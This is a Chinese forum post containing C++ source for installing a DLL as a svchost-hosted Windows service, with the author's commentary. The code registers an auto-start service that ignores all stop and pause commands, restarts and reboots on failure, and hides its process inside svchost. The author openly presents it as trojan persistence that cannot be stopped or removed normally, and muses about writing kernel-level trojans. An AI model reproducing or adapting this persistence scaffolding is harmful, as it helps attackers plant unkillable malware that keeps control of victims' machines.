共有回帖数 0 个
-
//安装 负责将一个dll安装成服务.
//不写注释 看的懂就看 看不懂我也没办法
#include "stdafx.h"
#include windows.h
struct SERVERINFO
{
CHAR ServiceName[128];
CHAR ServiceShow[200];
CHAR ServiceDescribe[300];
}m_ServiceInfo=
{
"DDDDDDDDDDDDD",
"BBBBBBBBBBAAA",
"CCCCCCCCCCAAA"
};
BOOL MyCreateServiceFuntion(LPSTR BinPath)
{
SC_HANDLE OHandle,CHandle;
OHandle=OpenSCManager(0, 0,SC_MANAGER_ALL_ACCESS);
if(OHandle == NULL)
return FALSE;
//该服务无法停止 暂停
CHandle= CreateService(
OHandle,m_ServiceInfo.ServiceName,m_ServiceInfo.ServiceShow,
SERVICE_ALL_ACCESS|SERVICE_CHANGE_CONFIG,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_IGNORE,
BinPath,NULL,NULL,NULL,NULL,NULL
);
if(CHandle == NULL)
return FALSE;
//修改服务失败启动的次数
SERVICE_FAILURE_ACTIONS sfa;
sfa.dwResetPeriod = 0; //重置失败次数为 0
sfa.lpRebootMsg =NULL; //没看懂MSDN意思 悲剧啊.
sfa.lpCommand = NULL; //命令 就不需要了.
sfa.cActions = 3; //SC_ACTION 数组大小
SC_ACTION Sc_Action[3]=
{
//无限重启 哈哈...
{SC_ACTION_RESTART,100},{SC_ACTION_RESTART,100},{SC_ACTION_REBOOT,100}
};
sfa.lpsaActions = &Sc_Action[0];
SERVICE_DESCRIPTION Service_Descrip={&m_ServiceInfo.ServiceDescribe[0]};
//**** MSDN 这函数找死老子了.只列出来 ChangeServiceConfig 而没有 ChangeServiceConfig2
ChangeServiceConfig2(CHandle,SERVICE_CONFIG_FAILURE_ACTIONS,&sfa);
ChangeServiceConfig2(CHandle,SERVICE_CONFIG_DESCRIPTION,&Service_Descrip);
CloseServiceHandle(OHandle);
CloseServiceHandle(CHandle);
return TRUE;
}
BOOL AddSvchostGroup(VOID)
{
HKEY hkey;//其实是一个句柄.
if(
RegOpenKey(HKEY_LOCAL_MACHINE,
"SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost",
&hkey)!=ERROR_SUCCESS
)
return FALSE;
if(
RegSetValueEx(hkey,m_ServiceInfo.ServiceName,0,REG_MULTI_SZ,
(BYTE *)m_ServiceInfo.ServiceName,lstrlen(m_ServiceInfo.ServiceName)) !=ERROR_SUCCESS
)
return FALSE;
RegCloseKey(hkey);
return TRUE;
}
//添加DLL 路径参数
BOOL AddParameters_ServiceDll(LPSTR DllPath)
{
HKEY hkey;//其实是一个句柄.
CHAR SubKey[255]={NULL};
sprintf(SubKey,"SYSTEM\ControlSet001\Services\%s\Parameters",m_ServiceInfo.ServiceName);
if(RegCreateKey(HKEY_LOCAL_MACHINE,SubKey,&hkey)!=ERROR_SUCCESS)
return FALSE;
if(RegSetValueEx(hkey,"ServiceDll",0,REG_EXPAND_SZ,(BYTE *)DllPath,lstrlen(DllPath)) !=ERROR_SUCCESS)
return FALSE;
RegCloseKey(hkey);
return TRUE;
}
int main(int argc, char* argv[])
{
CHAR BinPath[MAX_PATH]="%SystemRoot%\System32\svchost.exe -k ";
strcat(BinPath,m_ServiceInfo.ServiceName);
puts(BinPath);
MyCreateServiceFuntion(BinPath);
AddSvchostGroup();
CHAR DllPath[]="c:\test.dll";
AddParameters_ServiceDll(DllPath);
return 0;
}
//核心 DLL
#include "stdafx.h"
#include stdlib.h
char svcname[MAX_PATH];
SERVICE_STATUS_HANDLE hServiceStatus;
int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress )
{
SERVICE_STATUS srvStatus;
srvStatus.dwServiceType = SERVICE_WIN32_SHARE_PROCESS;
srvStatus.dwCurrentState = dwState;
srvStatus.dwControlsAccepted = SERVICE_ACCEPT_SHUTDOWN;
srvStatus.dwWin32ExitCode = dwExitCode;
srvStatus.dwServiceSpecificExitCode = 0;
srvStatus.dwCheckPoint = dwProgress;
srvStatus.dwWaitHint = 1000;
return SetServiceStatus( hServiceStatus, &srvStatus );
}
void WINAPI ServiceHandler(DWORD dwControl)
{
//无视任何控制命令.
return;
}
//导出ServiceMain 给Svchost.exe 调用.
extern "C" __declspec(dllexport) void ServiceMain( int argc, wchar_t* argv[] )
{
//传进来的是Unicode注意了.
strncpy(svcname, (char*)argv[0], sizeof svcname);
wcstombs(svcname, argv[0], sizeof svcname);
//为服务注册一个控制..
hServiceStatus = RegisterServiceCtrlHandler(svcname, (LPHANDLER_FUNCTION)ServiceHandler);
//告诉SCM 我已经运行了.
TellSCM( SERVICE_START_PENDING, 0, 1 );
TellSCM( SERVICE_RUNNING, 0, 0);
//工作...
while(1)
{
HANDLE FHandle =CreateFile("C:\1.exe",GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,NULL);
if(FHandle!=INVALID_HANDLE_VALUE)
{
DWORD Temp=0;
WriteFile(FHandle,svcname,strlen(svcname),&Temp,NULL);
CloseHandle(FHandle);
}
Sleep(1000);
}
}
//无视DLLMAIN
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
return TRUE;
}
该代码绝对酷...
DLL 实现无进程
而且注册的服务 不接受任何控制响应
如: 停止 暂停 ..
而且 该服务无法终止
一旦终止 立即恢复.. 比进程守护邪恶多了.
稳定性 绝对帅..
常规模式下 无法删除该服务
DLL 导出 ServiceMain 函数 以供 Svchost.exe 服务组调用..
注册好服务控制.开始工作 . 该干啥 随便你自己了哈.
现在写木马不好写了
R3的木马 没多少威胁性
R0的木马 才是王道
但是现在加载驱动要逃过杀软的拦截太难了...
R0 实现三无
无进程
无端口
无启动
这才是木马的追求啊
楼主 2015-12-05 13:57 回复
Copyright © 2010~2015 直线网 版权所有,All Rights Reserved.沪ICP备10039589号
意见反馈 |
关于直线 |
版权声明 |
会员须知
